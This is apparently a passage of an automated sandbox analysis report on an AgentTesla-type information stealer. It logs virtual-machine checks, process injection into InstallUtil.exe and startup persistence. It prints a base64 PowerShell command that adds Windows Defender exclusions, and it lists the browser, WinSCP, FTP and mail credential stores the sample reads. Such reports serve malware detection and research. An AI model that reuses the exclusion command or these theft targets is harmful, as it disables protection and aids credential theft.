Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 94937
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 94828
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 94719
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 94594
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 94484

Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\	Jump to behavior

Source: pdf.exe, 00000013.00000002.1724440064.0000000002A4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware\|VIRTUAL\|A M I\|Xen
Source: SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, 00000000.00000002.1439039877.00000000012D7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllg
Source: pdf.exe, 00000013.00000002.1724440064.0000000002A4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Microsoft\|VMWare\|Virtual
Source: InstallUtil.exe, 0000000E.00000002.1682385745.0000000005974000.00000004.00000020.00020000.00000000.sdmp, pdf.exe, 00000013.00000002.1722725674.0000000000EC2000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000017.00000002.2437903094.0000000006560000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Encrypted powershell cmdline option found

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Process created: Base64 decoded Add-MpPreference -ExclusionPath C:\Users\jones\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe; Add-MpPreference -ExclusionProcess C:\Users\jones\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe;Add-MpPreference -ExclusionPath C:\Users\jones\AppData\Roaming\pdf.exe; Add-MpPreference -ExclusionProcess C:\Users\jones\AppData\Roaming\pdf.exe
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Process created: Base64 decoded Add-MpPreference -ExclusionPath C:\Users\jones\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe; Add-MpPreference -ExclusionProcess C:\Users\jones\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe;Add-MpPreference -ExclusionPath C:\Users\jones\AppData\Roaming\pdf.exe; Add-MpPreference -ExclusionProcess C:\Users\jones\AppData\Roaming\pdf.exe			Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 402000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 43C000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 43E000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: C3D008	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEQAZQBzAGsAdABvAHAAXABTAGUAYwB1AHIAaQB0AGUASQBuAGYAbwAuAGMAbwBtAC4AVwBpAG4AMwAyAC4AUABXAFMAWAAtAGcAZQBuAC4AMgAyADcAMgA4AC4AMQAzADgANAA3AC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABqAG8AbgBlAHMAXABEAGUAcwBrAHQAbwBwAFwAUwBlAGMAdQByAGkAdABlAEkAbgBmAG8ALgBjAG8AbQAuAFcAaQBuADMAMgAuAFAAVwBTAFgALQBnAGUAbgAuADIAMgA3ADIAOAAuADEAMwA4ADQANwAuAGUAeABlADsAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAcABkAGYALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAcABkAGYALgBlAHgAZQA=	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Roaming\pdf.exe "C:\Users\user\AppData\Roaming\pdf.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -enc qqbkagqalqbnahaauabyaguazgblahiazqbuagmazqagac0arqb4agmabab1ahmaaqbvag4auabhahqaaaagaemaogbcafuacwblahiacwbcagoabwbuaguacwbcaeqazqbzagsadabvahaaxabtaguaywb1ahiaaqb0aguasqbuagyabwauagmabwbtac4avwbpag4amwayac4auabxafmawaatagcazqbuac4amgayadcamga4ac4amqazadganaa3ac4azqb4aguaowagaeeazabkac0atqbwafaacgblagyazqbyaguabgbjaguaiaataeuaeabjagwadqbzagkabwbuafaacgbvagmazqbzahmaiabdadoaxabvahmazqbyahmaxabqag8abgblahmaxabeaguacwbrahqabwbwafwauwblagmadqbyagkadablaekabgbmag8algbjag8abqauafcaaqbuadmamgauafaavwbtafgalqbnaguabgauadiamga3adiaoaauadeamwa4adqanwauaguaeabladsaqqbkagqalqbnahaauabyaguazgblahiazqbuagmazqagac0arqb4agmabab1ahmaaqbvag4auabhahqaaaagaemaogbcafuacwblahiacwbcagoabwbuaguacwbcaeeacabwaeqayqb0ageaxabsag8ayqbtagkabgbnafwacabkagyalgblahgazqa7acaaqqbkagqalqbnahaauabyaguazgblahiazqbuagmazqagac0arqb4agmabab1ahmaaqbvag4auabyag8aywblahmacwagaemaogbcafuacwblahiacwbcagoabwbuaguacwbcaeeacabwaeqayqb0ageaxabsag8ayqbtagkabgbnafwacabkagyalgblahgazqa=
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -enc qqbkagqalqbnahaauabyaguazgblahiazqbuagmazqagac0arqb4agmabab1ahmaaqbvag4auabhahqaaaagaemaogbcafuacwblahiacwbcagoabwbuaguacwbcaeqazqbzagsadabvahaaxabtaguaywb1ahiaaqb0aguasqbuagyabwauagmabwbtac4avwbpag4amwayac4auabxafmawaatagcazqbuac4amgayadcamga4ac4amqazadganaa3ac4azqb4aguaowagaeeazabkac0atqbwafaacgblagyazqbyaguabgbjaguaiaataeuaeabjagwadqbzagkabwbuafaacgbvagmazqbzahmaiabdadoaxabvahmazqbyahmaxabqag8abgblahmaxabeaguacwbrahqabwbwafwauwblagmadqbyagkadablaekabgbmag8algbjag8abqauafcaaqbuadmamgauafaavwbtafgalqbnaguabgauadiamga3adiaoaauadeamwa4adqanwauaguaeabladsaqqbkagqalqbnahaauabyaguazgblahiazqbuagmazqagac0arqb4agmabab1ahmaaqbvag4auabhahqaaaagaemaogbcafuacwblahiacwbcagoabwbuaguacwbcaeeacabwaeqayqb0ageaxabsag8ayqbtagkabgbnafwacabkagyalgblahgazqa7acaaqqbkagqalqbnahaauabyaguazgblahiazqbuagmazqagac0arqb4agmabab1ahmaaqbvag4auabyag8aywblahmacwagaemaogbcafuacwblahiacwbcagoabwbuaguacwbcaeeacabwaeqayqb0ageaxabsag8ayqbtagkabgbnafwacabkagyalgblahgazqa=			Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Queries volume information: C:\Users\user\AppData\Roaming\pdf.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe.416a0b0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe.416a0b0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.pdf.exe.3db85e8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.pdf.exe.3db85e8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000017.00000002.2428186075.00000000031FE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.1738552650.0000000003DA3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.1738552650.0000000003B7A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.1675252240.0000000002DFE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1449250723.0000000003FB6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.1675252240.0000000002DB1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.1669938478.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1449250723.0000000004155000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2428186075.00000000031BC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe PID: 7460, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 2964, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: pdf.exe PID: 7948, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 872, type: MEMORYSTR

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

File opened: C:\FTP Navigator\Ftplist.txt

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities

Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe.416a0b0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe.416a0b0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.pdf.exe.3db85e8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.pdf.exe.3db85e8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000013.00000002.1738552650.0000000003DA3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.1738552650.0000000003B7A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
